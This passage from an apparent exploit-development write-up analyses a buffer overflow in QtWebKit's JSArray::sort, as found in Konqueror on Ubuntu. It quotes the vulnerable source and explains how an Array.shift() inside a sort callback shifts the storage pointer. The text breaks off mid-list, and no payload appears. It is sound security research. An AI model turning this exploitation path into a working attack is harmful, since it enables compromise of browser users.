<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">For the purposes of discussion, let’s assume that we have a JavaScript </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> of length 2, containing the values 0, 0. At [1] above, the used </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> size is 2. At [2], the loop will iterate twice, locating the two defined values and eventually leaving the loop with </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">numDefined</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> being set to 2. [3] is where the problems occur: inserting into the sort tree causes a callback into JavaScript and this callback can mess with the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> that we’re currently sorting. If our callback specifically calls </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array.shift()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, we’ll get some fireworks. Shifting the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> essentially removes the first element and internally this is accomplished by bumping the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">m_storage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer along one element (8 bytes), and reducing the size by one. At [4], the code still believes the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> has length two, so will iterate twice and write two sorted values. However, the write will start at an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">m_storage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer that was bumped along by one element. This is an out-of-bounds write, aka. buffer overflow! You might wonder if it’s possible to just make the array smaller via more conventional means such as </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array.pop()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, and achieve similar results. As it happens, the code is very reluctant to reallocate the backing store to a smaller size so the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array.shift()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> exploitation path is the only obvious one.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Anyway, we are targeting the vulnerability as it exists in Konqueror in our Ubuntu install. Konqueror is the KDE web browser and its WebKit backend uses </span><a href="https://trac.webkit.org/wiki/QtWebKit" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">QtWebKit</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, specifically version 2.2.1, </span><a href="https://gitorious.org/webkit/qtwebkit/?p=webkit:qtwebkit.git;a=history;f=Source/JavaScriptCore/runtime/JSArray.cpp;h=ff4ce75f0ad315ca7550b7fad107c5abfbc145d1;hb=HEAD" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">which appears</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to be </span><a href="https://trac.webkit.org/browser/webkit/trunk/Source/JavaScriptCore/runtime/JSArray.cpp?rev=88503" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">close to JSArray.cpp@r88503</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Let’s have a look at that:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData)</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: yellow; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[1] ArrayStorage* storage = m_storage;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned usedVectorLength = min(storage->m_length, m_vectorLength);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned nodeCount = usedVectorLength + (storage->m_sparseValueMap ?</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> storage->m_sparseValueMap->size() : 0);</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: yellow; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[2] tree.abstractor().m_nodes.grow(nodeCount);</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned numDefined = 0;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned numUndefined = 0;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for (; numDefined < usedVectorLength; ++numDefined) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[3] JSValue v = storage->m_vector[numDefined].get();</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (!v || v.isUndefined())</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> break;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> tree.abstractor().m_nodes[numDefined].value = v;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: #ff9900; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[4] tree.insert(numDefined);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned newUsedVectorLength = numDefined + numUndefined;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[5] if (SparseArrayValueMap* map = storage->m_sparseValueMap) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> newUsedVectorLength += map->size();</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (newUsedVectorLength > m_vectorLength) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> // Check that it is possible to allocate an array large enough to</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> hold all the entries.</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if ((newUsedVectorLength > MAX_STORAGE_VECTOR_LENGTH) ||</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> !increaseVectorLength(newUsedVectorLength)) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> throwOutOfMemoryError(exec);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> return;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: yellow; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[6] storage = m_storage;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: yellow; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[7] SparseArrayValueMap::iterator end = map->end();</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for (SparseArrayValueMap::iterator it = map->begin(); it != end; ++it) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[8] tree.abstractor().m_nodes[numDefined].value = it->second.get();</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: #ff9900; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[9] tree.insert(numDefined);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ++numDefined;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[10] delete map;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[11] storage->m_sparseValueMap = 0;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for (unsigned i = 0; i < numDefined; ++i) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[12] storage->m_vector[i].set(globalData, this,</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> tree.abstractor().m_nodes[*iter].value);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ++iter;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[13] storage->m_numValuesInVector = newUsedVectorLength;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There’s a lot going on here, but in an attempt to make sense of the possibilities, there is a color code:</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: yellow; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Yellow</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for places where the code caches some value or decision that could be invalidated in a JavaScript callback.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: #ff9900; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Orange</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for places where a JavaScript callback can occur. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
